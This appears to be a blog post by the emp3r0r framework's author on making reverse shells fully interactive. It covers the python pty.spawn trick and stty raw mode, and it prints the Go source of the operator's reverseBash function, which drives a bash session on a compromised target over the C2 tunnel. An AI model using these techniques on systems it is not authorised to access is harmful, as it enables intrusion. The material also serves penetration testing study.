this part is about reverse shell
how to make your reverse shell suck less
take a look at pentestmonkey's Reverse Shell Cheat Sheet,
which gives you a collection of reverse shell one-liners. each of the one-liners does the same thing -- establish a TCP connection to you,
then execute a shell such as /bin/bash
, your input goes thru the TCP connection, becomes the shell's stdin
, the shell puts its output
to the TCP socket, then read by you.
its usable, but painful to use. basically you are doing /bin/bash -c cmd
each time after you press Enter
, the first problem comes,
su: must be run from a terminal
not only su
, many apps require a normal terminal, just like the one you are using on your local machine, specically, you need a PTY
,
ie. pseudoterminal, by issuing python -c 'import pty; pty.spawn("/bin/bash")'
, you may
fool su
to allow you to run it.
another problem is, how do you send keybindings such as Ctrl-C
to your remote shell?
as you know, our reverse shell takes one line of input at a time. any other input without a new-line ending, get ignored or caught by your local
terminal, for example, Ctrl-C
kills your reverse shell and you might want to say the F word after pressing it
the solution is from Upgrading Simple Shells to Fully Interactive TTYs
stty raw -echo
what does this do?
stty — set the options for a terminal device interface
raw (-raw)
If set, change the modes of the terminal so that no input or output processing is performed. If unset, change the modes of the terminal to some reasonable state that performs input and output processing. Note that since the terminal driver no longer has a single RAW bit, it is not possible to intuit what flags were set prior to setting raw. This means that unsetting raw may not put back all the setting that were previously in effect. To set the terminal into a raw state and then accurately restore it, the following shell code is recommended:
save_state=$(stty -g) stty raw ... stty "$save_state"
echo (-echo)
Echo back (do not echo back) every character typed.
with stty raw
, your input is sent without processing, meaning every key stroke gets sent to the fd
given (-F
)
this way, all your key bindings start to work as they do on your local terminal
emp3r0r's approach
emp3r0r's shell
module acts like the most simple one like what you will find in one of the one-liners, with some differences, that i use
readline
to parse user input, and some helpers such as file uploading/downloading
obviously, we need a real bash
, even better, thru the same wonderful HTTP2 tunnel instead of plain TCP.
the solution requires stty
utility, which can be found in every linux/unix system, therefore not a problem to our linux-specific emp3r0r
besides setting raw
mode, we might also need to resize the terminal. when resizing the local terminal, the remote bash shell's terminal remains
unchanged, to notify the remote terminal to resize, we send a stty rows xx columns yy
command to bash, the terminal size then gets adjusted
also, as you can see in the following code, we use /dev/tty
instead of stdin
as ssty
's target device, because stty
refuse to use stdin
,
it will throw standard input inappropriate ioctl for device
if you dont specify -F /dev/tty
.
in this raw
case, we can only read one byte at a time, the target file is /dev/tty
func reverseBash() {
// check if stty is installed
if !IsCommandExist("stty") {
CliPrintError("stty is not found, wtf?")
return
}
// activate reverse shell in agent
err := SendCmd("bash", CurrentTarget)
if err != nil {
CliPrintError("Cannot activate reverse shell on remote target: ", err)
return
}
// use /dev/tty for our console
ttyf, err := os.Open("/dev/tty")
if err != nil {
CliPrintError("Cannot open /dev/tty: %v", err)
}
cleanup := func() {
out, err := exec.Command("stty", "-F", "/dev/tty", "sane").CombinedOutput()
if err != nil {
CliPrintError("failed to restore terminal: %v\n%s", err, out)
}
err = agent.CCStream.Close()
if err != nil {
CliPrintWarning("Closing reverse shell connection: ", err)
}
}
defer cleanup()
// receive and display bash's output
go func() {
for incoming := range RecvAgentBuf {
os.Stdout.Write(incoming)
}
}()
// send whatever input to target's bash
go func() {
for outgoing := range SendAgentBuf {
if agent.CCStream == nil {
continue
}
_, err = agent.CCStream.Write(outgoing)
if err != nil {
log.Print("Send to remote: ", err)
}
}
}()
/*
set up terminal
*/
// Handle pty size.
ch := make(chan os.Signal, 1)
signal.Notify(ch, syscall.SIGWINCH)
go func() {
for range ch {
if err := pty.InheritSize(os.Stdin, ttyf); err != nil {
log.Printf("error resizing pty: %s", err)
}
// set remote stty
winSize, err := pty.GetsizeFull(os.Stdin)
if err != nil {
CliPrintWarning("Cannot get terminal size: %v", err)
}
setupTermCmd := fmt.Sprintf("stty rows %d columns %d\n",
winSize.Rows, winSize.Cols)
SendAgentBuf <- []byte(setupTermCmd)
}
}()
ch <- syscall.SIGWINCH // Initial resize.
currentWinSize, err := pty.GetsizeFull(os.Stdin)
if err != nil {
CliPrintWarning("Cannot get terminal size: %v", err)
}
// switch to raw mode
out, err := exec.Command("stty", "-F", "/dev/tty", "raw", "-echo").CombinedOutput()
if err != nil {
CliPrintError("stty raw mode failed: %v\n%s", err, out)
return
}
setupTermCmd := fmt.Sprintf("stty rows %d columns %d;reset\n",
currentWinSize.Rows, currentWinSize.Cols)
SendAgentBuf <- []byte(setupTermCmd)
for {
// read stdin
buf := make([]byte, agent.BufSize)
consoleReader := bufio.NewReader(ttyf)
_, err := consoleReader.Read(buf)
if err != nil {
CliPrintWarning("Bash read input: %v", err)
}
if buf[0] == 4 { // Ctrl-D is 4
color.Red("EOF")
break
}
// send our byte
SendAgentBuf <- buf
}
// always send 'exit' to correctly log out our bash shell
SendAgentBuf <- []byte("exit\n\n")
}
Comments
comments powered by Disqus